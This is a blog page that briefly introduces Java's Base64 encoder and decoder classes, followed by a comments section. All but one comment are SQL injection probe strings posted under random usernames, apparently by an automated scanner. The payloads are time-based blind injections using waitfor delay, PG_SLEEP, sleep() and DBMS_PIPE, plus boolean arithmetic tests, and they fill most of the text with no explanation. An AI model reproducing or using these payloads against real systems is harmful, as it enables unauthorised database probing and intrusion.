A virtual teacher who reveals to you the great secrets of Base64

Java Base64 Examples

Since Java 1.8 you can use the built-in class Base64 to encode and decode data using algorithms specified in RFC 4648 and RFC 2045. In this way, you can use the Base64.Encoder classs to encode data or the Base64.Decoder class to decode Base64.

To help you understand how it works “in the wild” I’ll try put together a collection of Java Base64 examples.

Comments (36)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • 장한사내,
    please! give me java example source code! Thanks!
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 2+662-662-1=0+0+0+1
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1 OR 2+352-352-1=0+0+0+1
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    eu3K81cp') OR 74=(SELECT 74 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    AZPBb5uh'; waitfor delay '0:0:15' --
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    qwMuj9XT') OR 904=(SELECT 904 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • ncMUFCMU,
    -1)) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -5) OR 368=(SELECT 368 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+47-47-1=0+0+0+1
  • nqhXncMU,
    0tRm3Wjk' OR 940=(SELECT 940 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1); waitfor delay '0:0:15' --
  • JYupWMLW,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • lxbfYeaa,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • wUmrLVWz,
    555*if(now()=sysdate(),sleep(15),0)
  • wUmrLVWz,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • wUmrLVWz,
    555-1); waitfor delay '0:0:15' --
  • wUmrLVWz,
    555-1 OR 267=(SELECT 267 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    555-1)) OR 639=(SELECT 639 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    555*if(now()=sysdate(),sleep(15),0)
  • wUmrLVWz,
    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
  • wUmrLVWz,
    555-1 OR 808=(SELECT 808 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    555A6OzBhgX') OR 259=(SELECT 259 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    (select 198766*667891)
  • wUmrLVWz,
    555*if(now()=sysdate(),sleep(15),0)
  • wUmrLVWz,
    555VzyNriPt' OR 546=(SELECT 546 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    555vjCnv5Du') OR 105=(SELECT 105 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    5554IOCfvQK')) OR 363=(SELECT 363 FROM PG_SLEEP(15))--
  • wUmrLVWz,
    555-1) OR 145=(SELECT 145 FROM PG_SLEEP(15))--
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.